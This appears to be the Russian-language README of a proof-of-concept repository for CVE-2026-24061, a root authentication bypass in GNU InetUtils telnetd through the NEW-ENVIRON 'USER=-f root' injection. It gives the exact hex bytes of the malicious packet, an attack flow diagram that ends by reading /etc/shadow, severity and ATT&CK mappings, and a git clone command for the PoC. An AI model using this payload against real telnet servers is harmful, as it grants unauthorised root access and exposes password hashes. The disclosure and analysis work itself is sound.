
GNU InetUtils telnetd — неаутентифицированный удалённый root через внедрение переменной NEW-ENVIRON.
GNU InetUtils telnetd — Неаутентифицированный удалённый root через инъекцию переменной NEW-ENVIRON
Обзор - Технический анализ - Затронутые версии - Использование - Устранение и смягчение - Ссылки
CVE-2026-24061 — это критическая уязвимость обхода аутентификации в демоне telnetd, распространяемом в составе GNU InetUtils. Дефект заключается в обработке опции Telnet NEW-ENVIRON (RFC 1572) во время начального протокольного рукопожатия.
Корневая причина — отсутствие санитизации переменных окружения, предоставленных клиентом, перед их передачей программе login(1). Когда демон Telnet получает пакет суб-согласования NEW-ENVIRON IS, содержащий переменную USER со значением -f root, он передаёт это несанитизированное значение напрямую системному бинарному файлу login.
В системах, где login принимает флаг -f (принудительный вход без проверки пароля), это приводит к предоставлению удалённому атакующему неаутентифицированной root-сессии.
Этот класс уязвимостей имеет исторический прецедент: CVE-2001-0797 в SysV telnetd и известный обход -f в Linux telnetd 1994 года эксплуатировали тот же фундаментальный недостаток — отсутствие санитизации аргументов, поступающих из окружения, перед передачей привилегированным бинарным файлам.
Учётные данные не требуются. Предварительный доступ не нужен. Одна последовательность сетевых пакетов даёт root.
telnetd из GNU InetUtils обрабатывает суб-согласование NEW-ENVIRON (код опции 0x27, согласно RFC 1572) для сбора переменных окружения, предоставленных клиентом. Эти переменные собираются в вектор аргументов и передаются в execve(2) при запуске login(1).
Уязвимость срабатывает следующим образом:
IAC DO NEW-ENVIRON, запрашивая переменные окружения у клиента.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd формирует вызов login как login -f root.login(1) интерпретирует -f как «принудительный вход, пропустить аутентификацию» и выполняет вход указанного пользователя (root) без запроса пароля.| Шаг | Направление | Telnet-байты (hex) | Значение |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root работаетБинарный файл login(1) во многих системах Linux принимает флаг -f <user> для «предварительно аутентифицированных» входов, исторически использовавшийся терминальными мультиплексорами и rlogin. Когда telnetd формирует свой вызов exec и не удаляет ведущие дефисы или не проверяет строки, похожие на опции, в значениях переменных окружения, он непреднамеренно передаёт управляемые атакующим флаги напрямую в login.
Эффективный вызов становится:
execve("/bin/login", ["login", "-f", "root"], envp);
Атакующий Уязвимый telnetd (порт 23)
| |
|------- TCP SYN (порт 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Telnet-баннер + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd вызывает: login -f root] |
| |
|<------ Приглашение root-оболочки (#) -------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow содержимое ---|
Предварительные условия:
telnetd из GNU InetUtils (TCP/23 открыт)inetutilslogin(1) поддерживает флаг -f (стандартно в большинстве дистрибутивов Linux)| Программное обеспечение | Затронутые версии | Статус |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (конкретная запатченная версия уточняется) | Уязвим |
| Дистрибутивы, поставляющие незапатченный GNU inetutils | Различные | Проверьте рекомендации вендора |
Проверьте, поставляет ли ваш дистрибутив запатченную версию. Во многих современных системах Telnet отключён по умолчанию; для эксплуатации требуется явно запущенный
telnetd.
| Метрика | Значение |
|---|---|
| Базовый балл CVSS v3.1 | 9.8 (Критический) |
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Требуемые привилегии | Нет |
| Взаимодействие с пользователем | Нет |
| Область действия | Без изменений |
| Влияние на конфиденциальность | Высокое |
| Влияние на целостность | Высокое |
| Влияние на доступность | Высокое |
| Строка вектора | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ID ATT&CK | Тактика | Техника | Актуальность |
|---|---|---|---|
| T1190 | Начальный доступ | Эксплуатация публично доступного приложения | Прямая эксплуатация telnetd по сети |
| T1059 | Выполнение | Интерпретатор команд и скриптов | Выполнение команд в оболочке после эксплуатации |
| T1078.004 | Повышение привилегий / Обход защиты | Действительные учётные записи: локальные учётные записи | Обход аутентификации даёт действительную root-сессию |
| T1548 | Повышение привилегий | Злоупотребление механизмом контроля повышения привилегий | Флаг login -f используется для обхода PAM/аутентификации |
| T1046 | Разведка | Обнаружение сетевых служб | Компонент массового сканирования в PoC |
Требования: Python 3 (только стандартная библиотека, ноль внешних зависимостей).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
pip install не требуется. Оба скрипта используют только стандартную библиотеку Python.